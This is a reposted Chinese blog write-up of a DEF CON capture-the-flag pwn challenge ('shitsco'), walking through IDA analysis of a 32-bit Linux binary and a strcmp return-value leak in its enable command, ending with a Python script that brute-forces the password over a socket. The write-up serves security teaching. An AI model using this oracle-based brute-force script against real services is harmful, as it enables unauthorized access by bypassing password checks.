记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

突破cdn,linux后门分析,痕迹清理,ettercap自定义,C段

2014-06-10 17:30
这是今年defcon上的一道200分的pwn题目,是一个linux 32位的elf程序,程序见附件 shitsco。
一、静态分析
首先运行程序,看大致程序的功能。如下图所示,这个程序提供了一个internet操作系统,支持一定的命令(enable,ping等)。



111f
用ida分析程序,main函数:

2

main函数中主要有3个子函数。对这3个子函数依次分析。
第一个函数sub_80489d0:



3
很容易看出是读取了/home/shitsco/password中的内容,存入到804c3a0地址处。
第二个函数sub_8048c30:



4
这个函数主要是读取一行用户的输入。
第三个函数sub_8048a50:这个函数较为复杂,主要是对用户的输入进行解析。


5
首先观察ebp不是和平常程序一样作为栈帧使用,这里用了指向一块内存。而这块内存正好为系统支持的命令(enable)。
通过后面分析,发现此块内存为一个结构体数组,存储命令信息。


6
该结构体如下:
 
 

struct CommandInfo

{

char *command;//命令名称,如enable

int unknown;//未见使用

int Privilege;

int argc;//参数个数,如命令ping需要另一个参数

pvoid handler;

}

其中privilege是权限,如果为1表示命令需要enable成功后才能执行。内存804c3c0初始化为0,只有enable后,内存804c3c0才会变成1。

7
Handler表示该命令对应的处理函数。
最后以一个表统计了一下命令的信息:
CommandPrivilegeArgcHandler
enable01sub_8049230
ping01sub_80493E0
tracert01sub_8049330
?01sub_80490C0
flag10sub_8048D40
shell00sub_8048CF0
set02sub_80494A0
show01sub_8048E50
credits00sub_8048CA0
quit00sub_8048CD0
disable00sub_8048CB0
通过对各处理函数分析,发现了flag的处理函数,直接打印了flag的内容,说明肯定是想让用户执行flag命令,但flag命令有权限限制,所以还必须通过enable函数。


9
enable 函数:



enable命令需要带一个参数,这个参数就是a1,如果a1不为空,就把a1作为password,如果a1为空,就让用户输入password。然后将输入的password与内存804c3a0(之前程序从password文件中读取的password)比较,如果一样,就enable成功。
从以上分析,可以知道需要知道password才行,但这文件在服务器上,猜测应该有信息泄露。
enable2
详细分析enable的处理函数,发现如下esp+4ch-34h处为用户输入的密码,而strcmp的返回值放在esp+4ch-14h中。如果用户输入的密码为32位,且不含回车,那么后面的printf将会将strcmp的返回值打印出来,如果为-1,说明输入的偏小,如果为1,说明输入偏大,如果=0,说明相当。根据strcmp的返回值,我们可以暴力猜出password中的每一位。
二、动态分析
为了能进行动态分析,需要在系统中创建2个文件: /home/shitsco/flag和/home/shitsco/password,并随意写入一些字节。password以\x00结束。
动态分析,主要验证刚才strcmp处是否分析正确,在08049272处下断点。
 


0xbffff1e8指向了用户输入的密码123
单步运行到0×08049277
 
 

esp+0×38=0xbffff208,程序将strcmp的返回值eax放入0xvffff208,正好在用户输入的32字节之后。验证了静态分析的结果。
三、写出exp并测试
暴力获取password的py脚本如下:
Python

 

import socket

s = socket.socket()

s.connect(("127.0.0.1", 8888))

while True:

d = s.recv(4096)

if '$' in d:

break


password = ' ' * 32;

for i in range(32):

for j in range(33, 127):

tmp = list(password)

tmp[i] = chr(j)

tmp = ''.join(tmp)

s.send("enable \n")

d = s.recv(4096)

s.send(tmp + "\n")

d = s.recv(4096)

print d

if 'Successful' in d:

password = ''.join(tmp)

break

if chr(255) in d:

print chr(j - 1)

tmp = list(password)

tmp[i] = chr(j - 1)

password = ''.join(tmp)

break

s.recv(4096)


print password

exp测试:
nc开端口进行监听:

运行python脚本,得到password:

另外此处打印的不一定就是password,因为如果密码为bruT3m3hard3rb4by时,bruT3m3hard3rb4by与” bruT3m3hard3rb4by ”,比较,仍然会认为后者大,不会相等。
end1
成功获得flag
附件下载地址:
  http://www.2cto.com/uploadfile/2014/0610/20140610122647999.zip

知识来源: www.2cto.com/Article/201406/307630.html

阅读:106385 | 评论:1 | 标签:后门

想收藏或者和大家分享这篇好文章→复制链接地址

“突破cdn,linux后门分析,痕迹清理,ettercap自定义,C段”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云

本页关键词